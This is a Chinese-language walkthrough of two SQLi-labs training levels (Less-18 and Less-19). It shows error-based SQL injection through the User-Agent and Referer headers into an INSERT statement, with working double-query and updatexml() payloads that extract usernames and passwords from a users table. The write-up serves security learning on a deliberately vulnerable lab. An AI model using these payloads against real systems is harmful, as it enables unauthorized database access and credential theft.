-
Less-18
这题和Less-17有点类似,sql语句是insert语句
刚开始尝试对uname和passwd进行注入时发现无回显,看了php代码才知道uname和passwd值都被过滤过,无法进行注入,但是代码中存在将UA头部写入数据库的行为,因为没有对UA进行过滤,可以从这里下手。(其实是看了wp才知道)
首先判断注入类型
1.png
单字符注入,判断插入列数
2.png
可知insert语句在UA头后共插入了3列
构造payload:
1','1',1 or (select 1 from (select count(*),concat((select username from users limit 0,1),floor(rand()*2))a from users group by a)b ))#
5.png
注入成功
注:
- 因为是在http请求头中写入注入语句,因此注释符'#'不需要使用url编码,同理'--+'和'-- '也不可用。
- payload中,右括号比左括号多一个,因为要闭合原sql语句中的括号。Less-19相同。
做Less-17的时候,看wp发现还有一种思路,但是偷懒没仔细看,就是使用updatexml()函数进行注入,在这题里同样有效。
updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数,有三个参数,updatexml(xml_target,xpath_expr,new_xml)。
其中xml_target是目标字符串,xpath_expr是xpath语法格式的xml表达式,new_xml是替换目标字符串中xpath_expr匹配到字符串的新字符串。由于xpath_expr要求为xpath格式,若非该格式则会报错。我们利用类似双查询报错注入的思路,通过查询语句将字段写入xpath_expr,由于不符合xpath格式便会产生报错,通过回显的报错语句便可获取写入的字段信息。
构造payload:
1','1',updatexml('1',(select * from (select concat('#',username,'#',password) from users limit 1,1)a),'1'))#
6.png
注入成功
注:
- 在选择连字符时要注意有些字符是xml的保留字符如':','-'等,这里我们使用'#'作为连字符。
- Less-19
和Less-18相同,只是UA头换成Referer头。首先判断注入类型和插入列数,方法相同,发现是单字符,两列。
构造payload:
1',updatexml(1,(select * from (select concat('#',username,'#',password) from users limit 1,1)a),1))#
7.png
注入成功
网友评论